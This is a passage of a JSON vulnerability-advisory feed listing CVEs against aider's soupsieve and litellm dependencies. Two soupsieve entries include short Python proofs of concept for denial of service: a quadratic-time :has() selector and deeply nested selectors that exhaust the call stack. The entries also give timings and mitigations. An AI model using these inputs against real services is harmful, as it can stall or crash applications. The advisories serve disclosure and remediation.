m_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: General sibling combinator inside :has() matches untrusted HTML in quadratic time","details":"## Summary\n\nMatching a selector that puts a general-sibling combinator inside `:has()`, such as `div:has(a ~ b)`, against untrusted HTML runs in O(n²) time in the number of sibling elements. A single small document with a few thousand siblings ties the process up for a minute of CPU, so an application that runs a fixed selector of this shape over HTML it doesn't control can be stalled by one request.\n\n`:has` is powerful, but much in the same way poor regular expressions can be crafted to cause catastrophic backtracking with greedy capturing, has can be used to create non-ideal scenarios that can cause large portions of the tree to be evaluated for one or many elements if not used thoughtfully.\n\nThis behavior is not exclusive to Soup Sieve, but browsers make note of these potential performance issues themselves: https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/:has#performance_considerations.\n\nWith all of that said, there is room for improvements that can in some cases greatly improve performance.\n\n## Details\n\n`:has(a ~ b)` asks \"does this element contain an `a` that has a later sibling `b`?\". When no `b` is present, soupsieve can't short-circuit, and it answers the question with a nested scan: `match_future_child` walks every candidate `a` under the scope, and for each one the general-sibling branch of `match_future_relations` walks all of that `a`'s following siblings looking for `b`. With n siblings that is (n-1) + (n-2) + ... + 1 comparisons, i.e. O(n²).\n\nThe adjacent-sibling form `div:has(a + b)` stays linear, because its branch checks only the one immediately following sibling per candidate. So the cost is specific to the general-sibling `~` (and `~` nested inside `:has`), and it shows up on the common case where the right-hand side simply isn't there.\n\n## Proof of concept\n\nInstalled from PyPI: `pip install soupsieve==2.9.2 beautifulsoup4`.\n\n```python\nimport time\nimport soupsieve\nfrom bs4 import BeautifulSoup\n\nselector = \"div:has(a ~ b)\"\n\nfor n in (1000, 2000, 4000, 8000):\n    html = \"<div>\" + (\"<a></a>\" * n) + \"</div>\"\n    soup = BeautifulSoup(html, \"html.parser\")\n    start = time.perf_counter()\n    soupsieve.select(selector, soup)\n    print(n, round((time.perf_counter() - start) * 1000), \"ms\")\n```\n\nMeasured:\n\n```\nn=1000    837 ms\nn=2000   3667 ms\nn=4000  14797 ms\nn=8000  59746 ms\n```\n\nTime quadruples for each doubling of n. The n=8000 input is a ~56 KB HTML fragment.\n\n## Impact\n\nAvailability. Any caller that evaluates a fixed selector containing a general sibling under `:has()` over attacker-controlled markup can be forced to spend minutes of CPU on a small input. The selector is developer-authored and ordinary; the untrusted part is the HTML, which is soupsieve's normal input.\n\nA single-pass evaluation of the sibling run (remember whether an `a` has been seen while scanning the siblings once) would make this case linear.\n\n## Mitigation\n\nQuadratic time for `:has` in some circumstances is expected and not a bug. While we've made optimizations and there may be more in the future, the way `:has` is designed to operate will never perform in linear time in all circumstances. Users should thoughtfully apply the use of `:has`.\n\nThe anchor selector (the `A` in `A:has(B)`) should not be an element that has too many children. Additionally, too general an anchor, such as `*`, can cause `:has()` to be applied to every element.\n\nFurther, it is recommended that the inner selector (the `B` in `A:has(B)`) should use combinators like `>` or `+` to limit traversal. When the selector inside `:has()` is not tightly constrained, Soup Sieve might need to traverse the entire subtree of the anchor\nelement to check the condition.\n\nIf the risk for a given project is too great, user input can be scanned for usage of `:has` and be denied. Calls can also be wrapped in a timeout to prevent long-running processes as well.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-4j63-6c4x-wfg4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126192"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/pull/304"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/ffb88cca745c591224f74a8e86414a85e8f35fc0"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.10"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-126193","published":"2026-11-14T10:01:12Z","modified":"2026-11-14T10:01:12Z","upstream":["GHSA-7g44-g9rc-x53w","CVE-2026-126193"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.0.2","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Uncontrolled recursion in CSS parser lets nested pseudo-class selectors exhaust the Python call stack","details":"## Summary\n\nThe Soup Sieve CSS selector parser recurses once per level of nested pseudo-class selector (`:is()`, `:not()`, `:where()`, `:has()`) without any limit on nesting depth. An unauthenticated attacker who can supply a CSS selector string to `soupsieve.compile()`, `soupsieve.select()`, or Beautiful Soup's `soup.select()` / `soup.select_one()` can force the parser to exceed Python's recursion limit with a small crafted input (about 1.6 KB, roughly 330 nesting levels), raising an uncontrolled `RecursionError`. Because this exception is not part of the parser's documented error contract, applications that catch only `ValueError` or `SelectorSyntaxError` see an unexpected failure of the request or task that parsed the selector.\n\n## Root Cause\n\nThe parser dispatches each opening pseudo-class token to `parse_pseudo_open`, which calls back into `parse_selectors` to parse the pseudo-class body. Every nesting level therefore adds Python stack frames, and no counter, depth guard, or `RecursionError` handler bounds this descent. The token-count guard `SELECTOR_LIMIT = 8192` (added for the earlier comma-separated-list memory issue) counts parsed tokens, not recursion depth; at the failing nesting depth the token count is only about 330, roughly four percent of that limit, so the guard never fires. The security invariant that untrusted selector input must not be able to exhaust interpreter resources is not enforced for nesting depth.\n\n```text\nsoupsieve/css_parser.py\n  CSSParser.parse_pseudo_open (line 985): sel.selectors.append(self.parse_selectors(iselector, index, flags))\n  CSSParser.parse_selectors  (line 1137): recursive target; dispatches pseudo-class tokens back into parse_pseudo_class -> parse_pseudo_open\n  CSSParser.increment_count  (lines 707-712): SELECTOR_LIMIT token guard; increments once per nesting level, cannot bound depth\n```\n\n## Impact\n\nAny application that compiles or evaluates untrusted CSS selectors through Soup Sieve (directly or via Beautiful Soup) is affected. No authentication, privilege, or user interaction is required; the failure occurs during selector parsing, before any document is matched. A single crafted selector of about 1.6 KB reliably raises `RecursionError`. The demonstrated capability is a transient denial of the individual request, task, or invocation that parsed the malicious selector: the exception propagates uncaught unless the caller handles `RecursionError` (or a broad `except Exception`). The `RecursionError` in CPython 3.x is a recoverable stack unwind, not an interpreter crash or persistent resource exhaustion, and it carries no confidentiality or integrity impact. Applications following the parser's documented error pattern (catching `ValueError` / `SelectorSyntaxError`) will not catch it, so a repeated stream of such selectors can plausibly cause repeated per-request failures; this per-request availability effect is the demonstrated consequence, not a service-wide or amplified outage.\n\n## Proof of Concept\n\nRequires only an installed Soup Sieve (any release from 0.4 through 2.10) and a default CPython recursion limit of 1000. No Beautiful Soup document or network setup is needed.\n\n```python\nimport soupsieve as sv\n\n# ~330 levels of nested :is() around a single tag: about 1.6 KB of input.\ndepth = 330\nselector = \":is(\" * depth + \"a\" + \")\" * depth\nprint(\"selector length:\", len(selector))\nsv.compile(selector)\n```\n\n```text\nselector length: 1651\nTraceback (most recent call last):\n  ...\n  File \".../soupsieve/css_parser.py\", line 985, in parse_pseudo_open\n    sel.selectors.append(self.parse_selectors(iselector, index, flags))\nRecursionError: maximum recursion depth exceeded\n```\n\nThe same failure was reproduced with `:not()`, `:where()`, and `:has()`, and through `BeautifulSoup(...).select(selector)`. A negative control at depth 100 compiles successfully with a token count of 101, confirming the token guard is far from firing.\n\n## Attack Chain\n\n1. **Exposure:** The application exposes `soupsieve.compile()` / `select()` or Beautiful Soup's `.select()` / `.select_one()` to attacker-influenced CSS selector input. These are the library's primary public API and ship enabled by default; Soup Sieve is an automatic dependency of Beautiful Soup 4.\n2. **Control:** The attacker fully controls the selector string. The nested pseudo-class pattern (`:is(:is(...a...))`) survives tokenization and normalization unchanged.\n3. **Path:** `compile()` reaches `CSSParser.process_selectors()` and then `parse_selectors()`, which dispatches each pseudo-class token through `parse_pseudo_class()` into `parse_pseudo_open()`, which calls `parse_selectors()` again, once per nesting level.\n4. **Guard:** The only resource guard is the `SELECTOR_LIMIT` token counter, which reaches about 330 at the failing depth versus its limit of 8192, so it never fires. No recursion-depth counter and no `RecursionError` handler exist anywhere in the package.\n5. **Primitive:** Python's recursion limit is exceeded during parsing, raising an uncontrolled `RecursionError`.\n6. **Result:** The unhandled `RecursionError` propagates to the caller, failing the request, task, or process invocation that parsed the selector, outside the parser's documented `ValueError` / `SelectorSyntaxError` error contract.\n\n## Bypass Evidence\n\nThe relevant existing guard is the `SELECTOR_LIMIT = 8192` token counter in `increment_count()`. It does not block this path: it increments once per nesting level, so at the failing depth of about 330 the count is roughly 330 (about four percent of 8192), verified by instrumenting `increment_count` and observing a maximum count of 329 at the point `RecursionError` was raised. A search of the package for `RecursionError` and `RuntimeError` handlers returns no matches, so nothing catches the error internally, and `functools.lru_cache` on the compile path does not cache exceptions. Attempts to invalidate the finding were made and failed: raising the interpreter recursion limit only shifts the required nesting depth (a proportionally larger but still small selector), and a broad `except Exception` in the caller does catch the error but the parser's documented contract raises only `ValueError` / `SelectorSyntaxError`, so callers coded to that contract remain exposed. This is a distinct weakness from the prior comma-separated-list memory-exhaustion advisory: that issue exhausts heap memory through linear object expansion and was addressed by the token count limit, whereas this issue exhausts the call stack through unbounded recursion depth and is not addressed by any released version, including 2.8.4 which was independently confirmed to still raise `RecursionError` on this input.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: soupsieve`\n- `Confirmed affected range: >= 0.4, <= 2.10`\n- `Latest release checked: soupsieve 2.10 (PyPI, latest published release as of 2026-09-25)`\n- `Fix status: not fixed in any released version`\n\nThe recursive `parse_pseudo_open` to `parse_selectors` structure is present in the earliest PyPI release (0.4) and in every subsequent release through the current 2.10, verified against the published PyPI source artifacts. Version 2.5, release 2.8.4 (which added that token-count limit), and 2.10 were each executed and confirmed to raise `RecursionError` on the crafted input. No released version adds a recursion-depth limit; the token-count `SELECTOR_LIMIT` introduced in 2.8.4 is architecturally unable to bound nesting depth. There is no registry or tag disagreement and no package or module path change.\n\n## Possible Solution\n\nPython's `RecursionError` is sometimes a contested issue related to security. The Soup Sieve project does not consider it \"uncontrolled\" and allows it to be raised to indicate Python's maximum recursion depth was reached, and allows it to fail to prevent overflows, a much worse and real security vulnerability. With that said, the algorithm can be reworked to be non-recursive, allowing the selector limit check to now capture and raise an exception. In addition, the limit could be exposed to the user to give them better control.\n\n## Mitigation\n\nFor those on older versions where the algorithm is still recursive, a try/except block that captures `RecursionError` can be added around calls if accepting untrusted user input is allowed.\n\n## Note\n\nThis issue was fixed in version 3.0.0, which has been yanked from the PyPI registry. Use versions 3.0.2 and above to upgrade.\n\n---\n\nReported by zx (GitHub: @manus-pi).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-7g44-g9rc-x53w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126193"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/pull/306"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/52de12f157a373614ad0f486d434551c5a4378ee"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12770","published":"2026-09-11T15:21:01Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-6qr3-3g89-m4jj","CVE-2026-12770","PYSEC-2026-4068"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.76.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Admin Key Handler Has Improper Authorization","details":"A vulnerability was determined in BerriAI litellm up to 1.63.1. The impacted element is an unknown function of the file litellm/proxy/management_endpoints/key_management_endpoints.py of the component Admin Key Handler. This manipulation causes improper authorization. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12770"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/23781"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/993c68152b2c770d53590f1684c755d4"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12770"},{"type":"WEB","url":"https://vuldb.com/submit/811279"},{"type":"WEB","url":"https://vuldb.com/vuln/372512"},{"type":"WEB","url":"https://vuldb.com/vuln/372512/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12771","published":"2026-09-11T15:21:01Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-qmf3-4767-5fg3","CVE-2026-12771","PYSEC-2026-4075"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: M2M JWT Handler Has Improper Authorization","details":"A vulnerability was identified in BerriAI litellm up to 1.82.2. This affects an unknown function of the file litellm/proxy/auth/user_api_key_auth.py of the component M2M JWT Handler. Such manipulation leads to improper authorization. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitability is reported as difficult. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12771"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/70e4e106527f74ddf17953ff0f6c248d"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12771"},{"type":"WEB","url":"https://vuldb.com/submit/811280"},{"type":"WEB","url":"https://vuldb.com/vuln/372513"},{"type":"WEB","url":"https://vuldb.com/vuln/372513/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12772","published":"2026-09-11T15:21:01Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-mf52-j94g-746m","CVE-2026-12772","PYSEC-2026-4073"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: PROXY_ADMIN database API Key Generator Has Insufficient Session Expiration","details":"A security flaw has been discovered in BerriAI litellm up to 1.82.2. This impacts the function authenticate_user of the file litellm/proxy/auth/login_utils.py of the component PROXY_ADMIN database API Key Generator. Performing a manipulation results in session expiration. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12772"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/39ed709ce322431658a05b951e91f278"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12772"},{"type":"WEB","url":"https://vuldb.com/submit/811281"},{"type":"WEB","url":"https://vuldb.com/vuln/372514"},{"type":"WEB","url":"https://vuldb.com/vuln/372514/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12773","published":"2026-09-11T15:21:01Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-4jcj-7x88-m979","CVE-2026-12773","PYSEC-2026-4067"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.84.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: MCP Proxy Has Improper Authentication","details":"A weakness has been identified in BerriAI litellm up to 1.59.8. Affected is the function UserAPIKeyAuth of the file litellm/proxy/_experimental/mcp_server/auth/user_api_key_auth_mcp.py of the component MCP Proxy. Executing a manipulation can lead to improper authentication. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12773"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/73869f0faf7d11ee21adcb5f91b8c33a340b6c2c"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-12773"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491112"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/3cfaad10a69d7a15e4d4d458cb53309e"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-12773.json"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12773"},{"type":"WEB","url":"https://vuldb.com/submit/811282"},{"type":"WEB","url":"https://vuldb.com/vuln/372515"},{"type":"WEB","url":"https://vuldb.com/vuln/372515/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12795","published":"2026-09-11T15:21:01Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-j37q-q7p9-vpwm","CVE-2026-12795","PYSEC-2026-4071"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: SSO Debug Flow Has Improper Authentication","details":"A vulnerability was determined in BerriAI litellm up to 1.82.2. This affects the function json.dumps of the file litellm/proxy/management_endpoints/ui_sso.py of the component SSO Debug Flow. Executing a manipulation can lead to missing authentication. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12795"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/9b13c75a3a73187a4082cc6df0b100d3"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12795"},{"type":"WEB","url":"https://vuldb.com/submit/811286"},{"type":"WEB","url":"https://vuldb.com/vuln/372557"},{"type":"WEB","url":"https://vuldb.com/vuln/372557/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12796","published":"2026-09-15T08:43:30Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-w2mh-qq9q-453x","CVE-2026-12796","PYSEC-2026-4076"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"BerriAI litellm: SSO Login Does Not Invalidate Previous UI Session Tokens","details":"A vulnerability was identified in BerriAI litellm up to 1.82.2. This impacts the function get_redirect_response_from_openid of the file litellm/proxy/management_endpoints/ui_sso.py of the component SSO Authentication Flow. The manipulation leads to session expiration. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12796"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/5fa8af12e1b183674d7ca96d852fb697"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12796"},{"type":"WEB","url":"https://vuldb.com/submit/811287"},{"type":"WEB","url":"https://vuldb.com/vuln/372558"},{"type":"WEB","url":"https://vuldb.com/vuln/372558/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12797","published":"2026-09-15T08:43:30Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-p897-vf7j-f5h8","CVE-2026-12797","PYSEC-2026-4074"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"BerriAI litellm has Security Feature Bypass in BannedKeywords and AzureContentSafety Guardrails via call_type Mismatch on Async Endpoints","details":"A security flaw has been discovered in BerriAI litellm up to 1.82.5. Affected is the function async_pre_call_hook of the file enterprise/enterprise_hooks/banned_keywords.py of the component Completions Interface. The manipulation of the argument prompt results in incorrect authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12797"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/078179224f07cc4e39e4f141a18c817a"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12797"},{"type":"WEB","url":"https://vuldb.com/submit/811288"},{"type":"WEB","url":"https://vuldb.com/vuln/372559"},{"type":"WEB","url":"https://vuldb.com/vuln/372559/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12798","published":"2026-09-15T08:43:29Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-c693-x898-5g4h","CVE-2026-12798","PYSEC-2026-4069"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"BerriAI litellm has SSRF via Unvalidated spec_path URL in MCP OpenAPI Spec Loader","details":"A weakness has been identified in BerriAI litellm up to 1.82.2. Affected by this vulnerability is the function load_openapi_spec_async of the file litellm/proxy/_experimental/mcp_server/openapi_to_mcp_generator.py of the component MCP OpenAPI Spec Loader. This manipulation of the argument spec_path causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12798"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/c1104c529975699ba347feedfbe02c5a"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12798"},{"type":"WEB","url":"https://vuldb.com/submit/811290"},{"type":"WEB","url":"https://vuldb.com/vuln/372560"},{"type":"WEB","url":"https://vuldb.com/vuln/372560/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12799","published":"2026-09-15T08:43:30Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-m2v5-74w2-qhcj","CVE-2026-12799","PYSEC-2026-4072"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"BerriAI litellm: UI User Enumeration leads to System-Wide Information Disclosure","details":"A security vulnerability has been detected in BerriAI litellm up to 1.82.2. Affected by this issue is the function ui_view_users of the file litellm/proxy/management_endpoints/internal_user_endpoints.py of the component Incomplete Fix CVE-2025-0628. Such manipulation leads to improper authorization. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this 